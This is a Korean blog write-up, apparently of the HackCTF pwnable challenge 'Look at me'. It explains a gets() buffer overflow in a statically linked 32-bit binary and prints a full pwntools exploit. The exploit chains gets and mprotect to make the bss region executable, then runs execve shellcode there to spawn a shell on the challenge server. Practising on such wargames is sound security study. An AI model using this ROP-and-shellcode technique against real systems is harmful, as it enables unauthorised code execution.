-
[HackCTF : Pwnable] Look at me (250p)Wargame/HackCTF 2021. 12. 27. 10:44
[HackCTF : Pwnable] Look at me (250p)
32bit, statically linked
입력받고 종료한다.
main look_at_me gets()에서 bof가 터진다.
statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다.
그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다.
메모리 영역에 대한 권한을 관리하는 함수다.
bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다.
12345678910111213141516171819202122232425262728293031from pwn import *# p = process("./lookatme")p = remote("ctf.j0n9hyun.xyz",3017)e = ELF("./lookatme")mprotect = e.symbols['mprotect']gets = e.symbols['gets']bss_start = 0x080ea000bss = 0x080eaf80pppr = 0x080509d5pr = 0x080583bfshellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"payload = "A"*28payload += p32(gets)payload += p32(pr)payload += p32(bss)payload += p32(mprotect)payload += p32(pppr)payload += p32(bss_start)payload += p32(0x1000)payload += p32(7)payload += p32(bss)p.sendline(payload)p.sendline(shellcode)p.interactive()cs exploit 'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Pwning (300p) (0) 2021.12.27 [HackCTF : Pwnable] Beginner_Heap(250p) (0) 2021.12.24 [HackCTF : Pwnable] Gift(250p) (0) 2021.11.26 [HackCTF : Pwnable] 1996 (200p) (0) 2021.11.25 [HackCTF : Pwnable] g++ pwn (200p) (2) 2021.11.15